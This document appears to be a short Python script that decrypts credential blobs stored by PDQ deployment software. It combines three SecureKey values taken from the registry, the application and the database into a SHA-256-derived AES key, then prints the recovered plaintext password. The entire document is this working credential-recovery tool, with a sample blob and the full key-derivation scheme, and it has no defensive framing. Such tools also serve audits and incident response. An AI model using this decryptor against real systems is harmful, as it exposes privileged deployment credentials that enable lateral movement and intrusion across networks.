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decrypting PDQ creds
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import hashlib | |
import struct | |
import argparse | |
from Crypto.Cipher import AES #pip install pycryptodome | |
def decrypt(blob, key): | |
"""Decrypt PDQ credential blobs""" | |
#Format for the blob is [header][ivlen][iv][encdata] | |
#Example blob: 28656e63727970746564290010644d18eb7817dad6de5f531b1b0b60113087662f3cf0ffdaa7760418c15ee6ea | |
#Example blob: [28656e637279707465642900][10][644d18eb7817dad6de5f531b1b0b6011][3087662f3cf0ffdaa7760418c15ee6ea] | |
#Header: 28656e637279707465642900 | |
#IVlen: 10 | |
#IV 644d18eb7817dad6de5f531b1b0b6011 | |
#encdata: 3087662f3cf0ffdaa7760418c15ee6ea | |
encrypted_data = bytearray.fromhex(blob) | |
header = b"(encrypted)\0" | |
if not encrypted_data.startswith(header): | |
print("Missing (encrypted) header for PDQ blob") | |
exit() | |
#trim the header and skip the IV length, IV length should always be 16 (10 in hex) until they change it? | |
data = encrypted_data[len(header):] | |
iv_length = data[0] | |
if iv_length != 16: | |
print(f"Warning: Unexpected IV length: {iv_length} (expected 16)") | |
iv = data[1:1+iv_length] | |
encdata = data[1+iv_length:] | |
#encryption key is first 16 bytes of sha256 hash of the 3 combined guids | |
key_hash = hashlib.sha256(key.encode('utf-8')).digest() | |
aes_key = key_hash[:16] | |
cipher = AES.new(aes_key, AES.MODE_CBC, iv) | |
decrypted = cipher.decrypt(encdata) | |
#first 4 bytes of decrypted bytes are password length | |
try: | |
plaintext_length = struct.unpack("<I", decrypted[:4])[0] | |
if 0 < plaintext_length <= len(decrypted) - 4: | |
plaintext = decrypted[4:4+plaintext_length] | |
result = plaintext.decode('utf-8') | |
print(f"[+] Got result: {result}") | |
except Exception as e: | |
print(e) | |
def main(): | |
parser = argparse.ArgumentParser(description="PDQ decrypt") | |
parser.add_argument("-r", "--regkey", action="store", help="SecureKey from registry") | |
parser.add_argument("-a", "--appkey", action="store", help="SecureKey from application") | |
parser.add_argument("-d", "--dbkey", action="store", help="SecureKey from database") | |
parser.add_argument("-b", "--blob", action="store", help="Hex encoded credential blob") | |
args = parser.parse_args() | |
key = args.appkey + args.dbkey + args.regkey | |
decrypt(args.blob, key) | |
if __name__ == "__main__": | |
main() |
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